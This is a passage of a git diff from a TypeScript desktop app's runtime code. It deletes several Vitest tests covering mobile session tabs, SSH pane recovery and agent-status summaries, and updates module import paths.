hostCatalog.worktrees('runtime:env') - await vi.waitFor(() => expect(call).toHaveBeenCalledTimes(1)) - state.pairingRevision = 2 - call.mockResolvedValueOnce(psReply([{ worktreeId: 'new-server-row', hostId: 'local' }])) - const next = hostCatalog.worktrees('runtime:env') - await vi.waitFor(() => expect(call).toHaveBeenCalledTimes(2)) - expect(call).toHaveBeenLastCalledWith(expect.anything(), 'worktree.ps', expect.anything(), { - timeoutMs: 5_000, - expected: { pairingRevision: 2, runtimeId: 'runtime-a' } - }) - await expect(next).resolves.toMatchObject({ worktrees: [{ worktreeId: 'new-server-row' }] }) - answerOldFetch(psReply([{ worktreeId: 'old-server-row', hostId: 'local' }])) - await expect(rows).resolves.toEqual({ worktrees: null }) - }) - - it("forgets a removed server's rows, even ones its last fetch delivers after removal", async () => { - const { hosts, call, state } = fakeHosts([ - { id: 'env', name: 'Box', snapshot: snapshot('env', 'live') } - ]) - let answerFetch: (response: RuntimeRpcResponse) => void = () => {} - call.mockReturnValue(new Promise((resolve) => (answerFetch = resolve))) - const { catalog: hostCatalog } = catalog(hosts) - const rows = hostCatalog.worktrees('runtime:env') - await vi.waitFor(() => expect(call).toHaveBeenCalledTimes(1)) - const removed = state.environments - state.environments = [] - state.retire('env') - answerFetch(psReply([{ worktreeId: 'w', hostId: 'local' }])) - await expect(rows).resolves.toEqual({ worktrees: null }) - expect((await hostCatalog.list()).hosts).toEqual([]) - state.environments = [{ ...removed[0]!, snapshot: snapshot('env', 'unreachable') }] - await expect(hostCatalog.worktrees('runtime:env')).resolves.toEqual({ worktrees: null }) - }) - - it('answers with the last rows when the server never answers the fetch', async () => { - vi.useFakeTimers() - try { - const { hosts, call } = fakeHosts([ - { id: 'env', name: 'Box', snapshot: snapshot('env', 'live') } - ]) - call.mockResolvedValueOnce(psReply([{ worktreeId: 'w', hostId: 'local' }])) - const { catalog: hostCatalog } = catalog(hosts) - await hostCatalog.worktrees('runtime:env') - call.mockReturnValue(new Promise(() => {})) - let settled = false - const rows = hostCatalog.worktrees('runtime:env').finally(() => (settled = true)) - await vi.advanceTimersByTimeAsync(4_999) - expect(settled).toBe(false) - await vi.advanceTimersByTimeAsync(1) - await expect(rows).resolves.toEqual({ - worktrees: [{ worktreeId: 'w', hostId: 'runtime:env' }] - }) - } finally { - vi.useRealTimers() - } - }) -}) diff --git a/src/main/runtime/mobile-desktop-relay/server-worktree-fetch.ts b/src/main/runtime/mobile-desktop-relay/server-worktree-fetch.ts index 5b16aaf2db3..85dd9167006 100644 --- a/src/main/runtime/mobile-desktop-relay/server-worktree-fetch.ts +++ b/src/main/runtime/mobile-desktop-relay/server-worktree-fetch.ts @@ -1,5 +1,5 @@ import { z } from 'zod' -import { toRuntimeExecutionHostId } from '../../../shared/execution-host' +import { toRuntimeExecutionHostId } from '../../../shared/execution-host/execution-host' // Default pages stop at 200; the phone has no pagination. export const SERVER_WORKTREE_LIMIT = 10_000 diff --git a/src/main/runtime/orca-runtime-tests/bind-first-pane.test-fixture.ts b/src/main/runtime/orca-runtime-tests/bind-first-pane.test-fixture.ts index 3159679c015..d9d6f2d0ba5 100644 --- a/src/main/runtime/orca-runtime-tests/bind-first-pane.test-fixture.ts +++ b/src/main/runtime/orca-runtime-tests/bind-first-pane.test-fixture.ts @@ -2,7 +2,7 @@ import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' import type { RuntimePtyController } from '../terminal/lifecycle/runtime-pty-controller-contract' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import { getConnectionExecutionHostId } from '../../../shared/execution-host' +import { getConnectionExecutionHostId } from '../../../shared/execution-host/execution-host' import { getPtyExecutionHost } from '../../../shared/terminal/pty/lifecycle/terminal-execution-host' import { asProfileSessionStore, diff --git a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-headless-wake-report.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-headless-wake-report.spec.ts index 8253b76e374..91c123241a1 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-headless-wake-report.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-headless-wake-report.spec.ts @@ -1,7 +1,7 @@ import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { electronMocks } from '../orca-runtime-test-mocks/setup.spec' import type { SleepingAgentSessionRecord } from '../../../shared/agent-session/lifecycle/agent-session-resume' import { diff --git a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts index a842a39b330..90c6f6afe1f 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-02.spec.ts @@ -2,7 +2,7 @@ import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' import '../orca-runtime-test-mocks/setup.spec' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { HEADLESS_LEAF_ID, diff --git a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-03.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-03.spec.ts index 7faf6479671..676672c2462 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-03.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-03.spec.ts @@ -1,6 +1,6 @@ import '../../../shared/workspace-layout/layout-owner-switch' import { describe, expect, it, vi } from 'vitest' -import { committingSpawn } from './bind-first-pane.test-fixture' +import './bind-first-pane.test-fixture' import './runtime-test-module-registration.spec' import { MOCK_GIT_WORKTREES, electronMocks } from '../orca-runtime-test-mocks/setup.spec' import { OrcaRuntimeService } from '../orca-runtime' @@ -8,7 +8,7 @@ import '../browser/client-pages/runtime-browser-page-registry' import 'electron' import { listWorktrees } from '../../git/worktrees/catalog/worktree-scan-cache' import { TEST_WORKTREE_ID, deferred, store } from './orca-runtime-test-fixtures.spec' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import './split-placement-session.test-fixture' describe('OrcaRuntimeService', () => { @@ -159,32 +159,4 @@ describe('OrcaRuntimeService', () => { expect(spawn).not.toHaveBeenCalled() expect(setBackgroundThrottling).not.toHaveBeenCalled() }) - - it('scopes terminal-create idempotency to the paired caller', async () => { - let spawnIndex = 0 - const runtime = new OrcaRuntimeService(store) - runtime.setPtyController({ - spawn: vi.fn(committingSpawn(runtime, async () => ({ id: `pty-headless-${++spawnIndex}` }))), - write: () => true, - kill: () => true, - getForegroundProcess: async () => null - }) - await runtime.syncWindowGraph(0, { tabs: [], leaves: [] }) - - const [createdA, createdB] = await Promise.all([ - runtime.createMobileSessionTerminal(`id:${TEST_WORKTREE_ID}`, { - clientNavigationId: 'device-a', - navigation: 'caller', - clientMutationId: 'same-mutation' - }), - runtime.createMobileSessionTerminal(`id:${TEST_WORKTREE_ID}`, { - clientNavigationId: 'device-b', - navigation: 'caller', - clientMutationId: 'same-mutation' - }) - ]) - - expect(createdA.tab.id).not.toBe(createdB.tab.id) - expect(spawnIndex).toBe(2) - }) }) diff --git a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts index 250fcb51b1b..8e1b7791b7f 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-04.spec.ts @@ -1,12 +1,11 @@ -import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import { withDurableRuntimeStore } from './runtime-durable-store-fixture' +import './runtime-durable-store-fixture' import { describe, expect, it, vi } from 'vitest' import './bind-first-pane.test-fixture' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' import { electronMocks } from '../orca-runtime-test-mocks/setup.spec' import './mobile-session-tab-event-wait' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import 'node:path' import 'node:fs/promises' import 'node:os' @@ -17,68 +16,11 @@ import { TEST_WORKTREE_ID, TEST_WORKTREE_PATH, makeHeadlessTerminalLayout, - makeRuntimeStoreWithWorkspaceSession, - makeWorkspaceSessionWithHeadlessTerminal, - store + makeRuntimeStoreWithWorkspaceSession } from './orca-runtime-test-fixtures.spec' import '../terminal/launch/spawned-pty-env-fixtures' describe('OrcaRuntimeService', () => { - it('closes a headless SSH tab only in its SSH workspace-session partition', async () => { - const sshPtyId = 'ssh:ssh-1@@remote-pty' - const localSession = makeWorkspaceSessionWithHeadlessTerminal() - let sshSession = makeWorkspaceSessionWithHeadlessTerminal({ - tabsByWorktree: { - [TEST_WORKTREE_ID]: [ - { - id: 'ssh-host-tab', - ptyId: sshPtyId, - worktreeId: TEST_WORKTREE_ID, - title: 'SSH host terminal', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - }, - terminalLayoutsByTabId: { - 'ssh-host-tab': makeHeadlessTerminalLayout({ [HEADLESS_LEAF_ID]: sshPtyId }) - } - }) - const remoteRepo = { ...store.getRepo(TEST_REPO_ID)!, connectionId: 'ssh-1' } - const setWorkspaceSession = vi.fn((session: WorkspaceSessionState, hostId?: string | null) => { - expect(hostId).toBe('ssh:ssh-1') - sshSession = session - }) - const kill = vi.fn(() => true) - const runtime = new OrcaRuntimeService( - withDurableRuntimeStore({ - ...store, - getRepos: () => [remoteRepo], - getRepo: (id: string) => (id === TEST_REPO_ID ? remoteRepo : undefined), - getWorkspaceSession: (hostId?: string | null) => - hostId === 'ssh:ssh-1' ? sshSession : localSession, - setWorkspaceSession, - flushOrThrow: vi.fn() - }) - ) - runtime.setPtyController({ - write: () => true, - kill, - getForegroundProcess: async () => null, - listProcesses: async () => [] - }) - await runtime.syncWindowGraph(0, { tabs: [], leaves: [] }) - - await runtime.closeMobileSessionTab(`id:${TEST_WORKTREE_ID}`, 'ssh-host-tab') - - expect(sshSession.tabsByWorktree[TEST_WORKTREE_ID]).toEqual([]) - expect(localSession.tabsByWorktree[TEST_WORKTREE_ID]).toHaveLength(1) - expect(setWorkspaceSession).toHaveBeenCalledTimes(1) - expect(kill).toHaveBeenCalledWith(sshPtyId) - }) - it('keeps a live headed runtime-owned tab until its explicit close', async () => { const ptyId = 'local-runtime-owned-pty' const splitPtyId = 'local-runtime-owned-split-pty' diff --git a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts index 47494eb3f4c..88ead94cedf 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-session-tabs-part-07.spec.ts @@ -2,8 +2,8 @@ import type { RuntimeMobileSessionTabsResult } from '../../../shared/remote-runt import { describe, expect, it, vi } from 'vitest' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { electronMocks } from '../orca-runtime-test-mocks/setup.spec' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import '../orca-runtime-test-mocks/setup.spec' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { HEADLESS_LEAF_ID, @@ -11,14 +11,13 @@ import { TEST_WORKTREE_ID, TEST_WORKTREE_PATH, makeHeadlessTerminalLayout, - makeRuntimeStoreWithWorkspaceSession, makeWorkspaceSessionWithHeadlessTerminal, store } from './orca-runtime-test-fixtures.spec' import './orca-runtime-test-scenario-builders.spec' import '../../agent-launch/agent-launch-pane-attachment' import '../../../shared/workspace-layout/stable-pane-id' -import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../../../shared/workspace-layout/layout-owner-switch' +import '../../../shared/workspace-layout/layout-owner-switch' describe('OrcaRuntimeService', () => { it('publishes a recovered SSH pane when its relay becomes ready after an empty restart replay', async () => { @@ -104,95 +103,4 @@ describe('OrcaRuntimeService', () => { materializeRenderer: false }) }) - - it('uses only a recent expired SSH lease as a bounded pane-recovery tombstone', async () => { - vi.useFakeTimers() - try { - vi.setSystemTime(new Date('2026-01-01T00:00:00Z')) - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession( - makeWorkspaceSessionWithHeadlessTerminal({ - tabsByWorktree: { - [TEST_WORKTREE_ID]: [ - { - id: 'host-tab', - ptyId: null, - worktreeId: TEST_WORKTREE_ID, - title: 'Expired SSH Terminal', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - }, - terminalLayoutsByTabId: { - 'host-tab': makeHeadlessTerminalLayout({ [HEADLESS_LEAF_ID]: undefined }) - } - }) - ) - let leaseState: 'expired' | 'terminated' = 'expired' - let leaseUpdatedAt = Date.now() - const getSshRemotePtyLeases = vi.fn(() => [ - { - targetId: 'ssh-1', - ptyId: 'pty-expired', - worktreeId: TEST_WORKTREE_ID, - tabId: 'host-tab', - leafId: HEADLESS_LEAF_ID, - state: leaseState, - createdAt: Date.now() - 1_000, - updatedAt: leaseUpdatedAt - } - ]) - const runtime = new OrcaRuntimeService({ - ...runtimeStore, - getSshRemotePtyLeases - } as never) - electronMocks.BrowserWindow.fromId.mockReturnValue({ - isDestroyed: () => false, - webContents: { send: vi.fn() } - }) - const publishEmpty = async (snapshotVersion: number): Promise => { - await runtime.syncWindowGraph(1, { - tabs: [], - leaves: [], - mobileSessionTabs: [ - { - worktree: TEST_WORKTREE_ID, - publicationEpoch: 'renderer-expired-lease', - snapshotVersion, - activeGroupId: null, - activeTabId: null, - activeTabType: null, - tabs: [] - } - ] - }) - } - - await publishEmpty(1) - expect((await runtime.listMobileSessionTabs(`id:${TEST_WORKTREE_ID}`)).tabs).toEqual([ - expect.objectContaining({ parentTabId: 'host-tab', status: 'pending-handle' }) - ]) - - // Leases bound only renderer-omitted rows; main-owned tabs remain listed regardless of lease. - const afterLease = ORCA_LAYOUT_OWNER_IS_MAIN - ? [expect.objectContaining({ parentTabId: 'host-tab', status: 'pending-handle' })] - : [] - vi.advanceTimersByTime(30_001) - await publishEmpty(2) - expect((await runtime.listMobileSessionTabs(`id:${TEST_WORKTREE_ID}`)).tabs).toEqual( - afterLease - ) - - leaseState = 'terminated' - leaseUpdatedAt = Date.now() - await publishEmpty(3) - expect((await runtime.listMobileSessionTabs(`id:${TEST_WORKTREE_ID}`)).tabs).toEqual( - afterLease - ) - } finally { - vi.useRealTimers() - } - }) }) diff --git a/src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts index b3e50ad0d31..43f06741e51 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-session-tabs.spec.ts @@ -5,7 +5,7 @@ import '../__fixtures__/main-layout-close-fixture' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' import '../orca-runtime-test-mocks/setup.spec' -import '../../../shared/constants' +import '../../../shared/orca-profiles/constants' import { TEST_WORKTREE_ID, store } from './orca-runtime-test-fixtures.spec' import '../../../shared/worktree/host-qualified-identity' diff --git a/src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts index f141f4d284e..1a6e859e5a5 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-summaries-part-02.spec.ts @@ -1,11 +1,11 @@ import { describe, expect, it, vi } from 'vitest' -import { bindPaneFirst } from './bind-first-pane.test-fixture' +import './bind-first-pane.test-fixture' import { makeAgentStatusStoreWiring } from '../terminal/identity/agent-status-store-wiring.test-fixture' import './runtime-test-module-registration.spec' -import { AGENT_STATUS_STALE_AFTER_MS } from '../../../shared/agent-status/contracts/agent-status-freshness' +import '../../../shared/agent-status/contracts/agent-status-freshness' import { MOCK_GIT_WORKTREES } from '../orca-runtime-test-mocks/setup.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import { listWorktrees } from '../../git/worktrees/catalog/worktree-scan-cache' import { HEADLESS_LEAF_ID, @@ -234,53 +234,6 @@ describe('OrcaRuntimeService', () => { ]) }) - it.each([ - ['blocked', 0, true, 'permission'], - ['waiting', 0, true, 'permission'], - ['done', 0, false, 'inactive'], - ['working', -AGENT_STATUS_STALE_AFTER_MS - 1, false, 'inactive'] - ] as const)( - 'projects %s agent activity to mobile at freshness offset %s', - async (state, updatedAtOffset, hasHostSidebarActivity, status) => { - const now = Date.now() - const runtime = new OrcaRuntimeService(store, undefined, { - getAgentStatusSnapshot: () => [ - { - paneKey: 'tab-1:33333333-3333-4333-8333-333333333333', - worktreeId: TEST_WORKTREE_ID, - tabId: 'tab-1', - state, - prompt: 'mobile parity', - agentType: 'codex', - connectionId: null, - receivedAt: now + updatedAtOffset, - stateStartedAt: now - 100 - } - ] - }) - // Keep the tab present: this test varies freshness, not the closed-tab filter (#6072). - runtime.attachWindow(1) - await runtime.syncWindowGraph(1, { - tabs: [ - { - tabId: 'tab-1', - worktreeId: TEST_WORKTREE_ID, - title: 'Codex', - activeLeafId: '33333333-3333-4333-8333-333333333333', - layout: null - } - ], - leaves: [] - }) - - const { worktrees } = await runtime.getWorktreePs() - - const summary = worktrees.find((worktree) => worktree.worktreeId === TEST_WORKTREE_ID) - expect(summary).toMatchObject({ hasHostSidebarActivity, status }) - expect(summary?.agents).toHaveLength(1) - } - ) - it('drops a hydrated done hook row after its local tab is closed', async () => { // Hydrated hook rows for closed tabs must not reappear as current mobile activity (#6072). const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession({ @@ -411,89 +364,4 @@ describe('OrcaRuntimeService', () => { expect.objectContaining({ paneKey: 'open-tab:9', prompt: 'live legacy pane' }) ]) }) - - it('keeps a local hook row when a connected PTY matches only its tab id', async () => { - // Use another split leaf to isolate tabId rescue. - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession({ - ...getDefaultWorkspaceSession(), - tabsByWorktree: {} - }) - const now = Date.now() - const runtime = new OrcaRuntimeService(runtimeStore as never, undefined, { - getAgentStatusSnapshot: () => [ - { - paneKey: 'daemon-tab:88888888-8888-4888-8888-888888888887', - worktreeId: TEST_WORKTREE_ID, - tabId: 'daemon-tab', - state: 'working', - prompt: 'sibling pane agent', - agentType: 'codex', - connectionId: null, - receivedAt: now, - stateStartedAt: now - 100 - } - ] - }) - bindPaneFirst(runtime, { - worktreeId: TEST_WORKTREE_ID, - tabId: 'daemon-tab', - leafId: '99999999-9999-4999-8999-999999999998', - ptyId: 'daemon-pty-2' - }) - runtime['recordPtyWorktree']('daemon-pty-2', TEST_WORKTREE_ID, { - connected: true, - tabId: 'daemon-tab', - paneKey: 'daemon-tab:99999999-9999-4999-8999-999999999998', - surfaceRecordedAtGraphSequence: runtime['graphSequence'] - }) - - const { worktrees } = await runtime.getWorktreePs() - const summary = worktrees.find((worktree) => worktree.worktreeId === TEST_WORKTREE_ID) - - expect(summary?.agents).toEqual([ - expect.objectContaining({ prompt: 'sibling pane agent', state: 'working' }) - ]) - }) - - it('keeps the connected-PTY rescue when a hook row outraces the OSC row for the same pane', async () => { - // Hooks carry no ptyId; preserve the OSC-observed id when a fresher hook wins. - const paneKey = 'race-tab:dddddddd-dddd-4ddd-8ddd-dddddddddddd' - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession({ - ...getDefaultWorkspaceSession(), - tabsByWorktree: {} - }) - const statusWiring = makeAgentStatusStoreWiring() - const runtime = new OrcaRuntimeService(runtimeStore as never, undefined, statusWiring.deps) - bindPaneFirst(runtime, { - worktreeId: TEST_WORKTREE_ID, - tabId: 'race-tab', - leafId: 'dddddddd-dddd-4ddd-8ddd-dddddddddddd', - ptyId: 'race-pty' - }) - runtime['recordPtyWorktree']('race-pty', TEST_WORKTREE_ID, { - connected: true, - tabId: 'race-tab', - paneKey, - surfaceRecordedAtGraphSequence: runtime['graphSequence'] - }) - runtime.onPtyData( - 'race-pty', - '\x1b]9999;{"state":"working","prompt":"osc ping","agentType":"codex"}\x07', - 1 - ) - statusWiring.statusStore.ingestTerminalStatus({ - paneKey, - tabId: 'race-tab', - worktreeId: TEST_WORKTREE_ID, - connectionId: null, - payload: { state: 'working', prompt: 'hook-fresh agent', agentType: 'codex' } - }) - const pty = runtime['ptysById'].get('race-pty')! - runtime['terminalIdentity'].setRecordedSurface(pty, null, null, undefined) - - const { worktrees } = await runtime.getWorktreePs() - const summary = worktrees.find((worktree) => worktree.worktreeId === TEST_WORKTREE_ID) - - expect(summary?.agents).toEqual([expect.objectContaining({ prompt: 'hook-fresh agent' })]) - }) }) diff --git a/src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts b/src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts index 31dc4478e83..f9e1cff4eb6 100644 --- a/src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts +++ b/src/main/runtime/orca-runtime-tests/mobile-summaries-part-03.spec.ts @@ -1,12 +1,12 @@ -import { describe, expect, it, vi } from 'vitest' -import { bindPaneFirst } from './bind-first-pane.test-fixture' -import { makeAgentStatusStoreWiring } from '../terminal/identity/agent-status-store-wiring.test-fixture' +import { describe, expect, it } from 'vitest' +import './bind-first-pane.test-fixture' +import '../terminal/identity/agent-status-store-wiring.test-fixture' import './runtime-test-module-registration.spec' import { OrcaRuntimeService } from '../orca-runtime' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import { setPlatform } from '../orca-runtime-test-mocks/setup.spec' -import { win32 } from 'node:path' -import * as worktreePathComparison from '../../workspaces/catalog/worktree-path-comparison-key' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' +import '../orca-runtime-test-mocks/setup.spec' +import 'node:path' +import '../../workspaces/catalog/worktree-path-comparison-key' import type { WorktreeMeta } from '../../../shared/worktree/meta-types' import { TEST_WORKTREE_ID, @@ -26,43 +26,6 @@ function storedWorktreeMeta( } describe('OrcaRuntimeService', () => { - it('keeps an OSC row from an SSH pane after its PTY disconnects', async () => { - // OSC snapshots must retain SSH transport provenance for the remote-row exemption. - const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession({ - ...getDefaultWorkspaceSession(), - tabsByWorktree: {} - }) - const runtime = new OrcaRuntimeService( - runtimeStore as never, - undefined, - makeAgentStatusStoreWiring().deps - ) - bindPaneFirst(runtime, { - worktreeId: TEST_WORKTREE_ID, - tabId: 'ssh-tab', - leafId: 'cccccccc-cccc-4ccc-8ccc-cccccccccccc', - ptyId: 'ssh-osc-pty' - }) - runtime['recordPtyWorktree']('ssh-osc-pty', TEST_WORKTREE_ID, { - connected: true, - connectionId: 'ssh-osc-1', - tabId: 'ssh-tab', - paneKey: 'ssh-tab:cccccccc-cccc-4ccc-8ccc-cccccccccccc', - surfaceRecordedAtGraphSequence: runtime['graphSequence'] - }) - runtime.onPtyData( - 'ssh-osc-pty', - '\x1b]9999;{"state":"working","prompt":"remote osc agent","agentType":"codex"}\x07', - 1 - ) - runtime['recordPtyWorktree']('ssh-osc-pty', TEST_WORKTREE_ID, { connected: false }) - - const { worktrees } = await runtime.getWorktreePs() - const summary = worktrees.find((worktree) => worktree.worktreeId === TEST_WORKTREE_ID) - - expect(summary?.agents).toEqual([expect.objectContaining({ prompt: 'remote osc agent' })]) - }) - it('keeps a hook row with an unresolvable pane key', async () => { // Without tabId, local staleness is unprovable. const { runtimeStore } = makeRuntimeStoreWithWorkspaceSession({ @@ -216,205 +179,6 @@ describe('OrcaRuntimeService', () => { ]) }) - it.each([ - ['relative', 'project', 'feature\\name', 'feature/name', 'feature\\name', true], - [ - 'absolute', - 'C:\\remote', - '/remote/feature\\name', - '/remote/feature/name', - '/remote/feature\\name', - true - ], - ['Windows SSH alias', 'C:\\remote', 'feature\\name', 'feature/name', 'feature/name', false] - ] as const)( - 'handles %s worktree paths when projecting mobile agents', - async (_kind, repoPath, backslashPath, slashPath, projectedPath, includeSlashWorktree) => { - setPlatform('win32') - const remoteRepo = { - id: 'repo-relative-ssh', - path: repoPath, - displayName: 'relative-vm', - badgeColor: 'blue', - addedAt: 1, - connectionId: 'ssh-relative' - } - const backslashWorktree = { - path: backslashPath, - head: 'abc', - branch: 'refs/heads/backslash', - isBare: false, - isMainWorktree: false - } - const slashWorktree = { - ...backslashWorktree, - path: slashPath, - branch: 'refs/heads/slash' - } - const storedMeta = storedWorktreeMeta( - remoteRepo.id, - includeSlashWorktree ? [backslashWorktree, slashWorktree] : [backslashWorktree] - ) - const runtimeStore = { - ...store, - getRepos: () => [remoteRepo], - getRepo: (id: string) => (id === remoteRepo.id ? remoteRepo : undefined), - getAllWorktreeMeta: () => storedMeta, - getWorktreeMeta: () => undefined - } - - const now = Date.now() - const runtime = new OrcaRuntimeService(runtimeStore as never, undefined, { - getAgentStatusSnapshot: () => - Array.from({ length: 100 }, (_, index) => ({ - paneKey: `relative-tab:${String(index).padStart(8, '0')}-5555-4555-8555-555555555555`, - worktreeId: `${remoteRepo.id}::${projectedPath}/`, - tabId: 'relative-tab', - state: 'working', - prompt: 'relative path agent', - agentType: 'codex', - connectionId: 'ssh-relative', - receivedAt: now, - stateStartedAt: now - 100 - })) - }) - - const summaries = await runtime.getWorktreePs() - const backslashSummary = summaries.worktrees.find( - (worktree) => worktree.path === backslashWorktree.path - ) - const slashSummary = summaries.worktrees.find( - (worktree) => worktree.path === slashWorktree.path - ) - - expect(backslashSummary).toMatchObject({ hasHostSidebarActivity: true, status: 'working' }) - expect(backslashSummary?.agents).toHaveLength(100) - expect(slashSummary?.agents).toEqual(includeSlashWorktree ? [] : undefined) - const comparisonPlatform = repoPath.startsWith('C:') ? 'win32' : 'linux' - const backslashKey = worktreePathComparison.worktreePathComparisonKey( - backslashPath, - comparisonPlatform - ) - const slashKey = worktreePathComparison.worktreePathComparisonKey( - slashPath, - comparisonPlatform - ) - expect(backslashKey === slashKey).toBe(!includeSlashWorktree) - } - ) - - it('projects 100 distinct pair-aware paths without rescanning the worktree list', async () => { - const remoteRepo = { - id: 'repo-pair-aware-scale', - path: '/remote', - displayName: 'pair-aware-scale-vm', - badgeColor: 'blue', - addedAt: 1, - connectionId: 'ssh-pair-aware-scale' - } - let pathReadCount = 0 - const remoteWorktrees = Array.from({ length: 100 }, (_, index) => { - const path = `C:relative\\feature-${String(index).padStart(3, '0')}` - return { - get path() { - pathReadCount += 1 - return path - }, - head: `head-${index}`, - branch: `refs/heads/feature-${index}`, - isBare: false, - isMainWorktree: false - } - }) - const storedMeta = storedWorktreeMeta(remoteRepo.id, remoteWorktrees) - const runtimeStore = { - ...store, - getRepos: () => [remoteRepo], - getRepo: (id: string) => (id === remoteRepo.id ? remoteRepo : undefined), - getAllWorktreeMeta: () => storedMeta, - getWorktreeMeta: () => undefined - } - const now = Date.now() - const runtime = new OrcaRuntimeService(runtimeStore as never, undefined, { - getAgentStatusSnapshot: () => - remoteWorktrees.map((worktree, index) => ({ - paneKey: `pair-aware-tab:${String(index).padStart(8, '0')}-9999-4999-8999-999999999999`, - worktreeId: `${remoteRepo.id}::${win32.resolve(worktree.path)}`, - tabId: 'pair-aware-tab', - state: 'working' as const, - prompt: `pair-aware agent ${index}`, - agentType: 'codex', - connectionId: 'ssh-pair-aware-scale', - receivedAt: now, - stateStartedAt: now - 100 - })) - }) - - const summaries = await runtime.getWorktreePs() - - expect(summaries.worktrees).toHaveLength(100) - expect(summaries.worktrees.every((worktree) => worktree.agents?.length === 1)).toBe(true) - // Count property reads to catch scaling regressions without wall-clock flakiness. - expect(pathReadCount).toBeLessThan(2_000) - }) - - it('bounds 2000 distinct malformed path misses per mobile poll', async () => { - const remoteRepo = { - id: 'repo-malformed-scale', - path: '/remote', - displayName: 'malformed-scale-vm', - badgeColor: 'blue', - addedAt: 1, - connectionId: 'ssh-malformed-scale' - } - let pathReadCount = 0 - const remoteWorktrees = Array.from({ length: 2_000 }, (_, index) => { - const path = `/remote/worktree-${String(index).padStart(4, '0')}` - return { - get path() { - pathReadCount += 1 - return path - }, - head: `head-${index}`, - branch: `refs/heads/worktree-${index}`, - isBare: false, - isMainWorktree: false - } - }) - const getRepo = vi.fn((id: string) => (id === remoteRepo.id ? remoteRepo : undefined)) - const storedMeta = storedWorktreeMeta(remoteRepo.id, remoteWorktrees) - const runtimeStore = { - ...store, - getRepos: () => [remoteRepo], - getRepo, - getAllWorktreeMeta: () => storedMeta, - getWorktreeMeta: () => undefined - } - const now = Date.now() - const runtime = new OrcaRuntimeService(runtimeStore as never, undefined, { - getAgentStatusSnapshot: () => - Array.from({ length: 2_000 }, (_, index) => ({ - paneKey: `malformed-tab:${String(index).padStart(8, '0')}-aaaa-4aaa-8aaa-aaaaaaaaaaaa`, - worktreeId: `${remoteRepo.id}::relative/./missing-${String(index).padStart(4, '0')}\\leaf`, - tabId: 'malformed-tab', - state: 'working' as const, - prompt: `missing agent ${index}`, - agentType: 'codex', - connectionId: 'ssh-malformed-scale', - receivedAt: now, - stateStartedAt: now - 100 - })) - }) - - const summaries = await runtime.getWorktreePs() - - expect(summaries).toMatchObject({ totalCount: 2_000, truncated: true }) - expect(summaries.worktrees.every((worktree) => worktree.agents?.length === 0)).toBe(true) - expect(getRepo).not.toHaveBeenCalled() - // The prior per-miss path scan exceeded the 3s 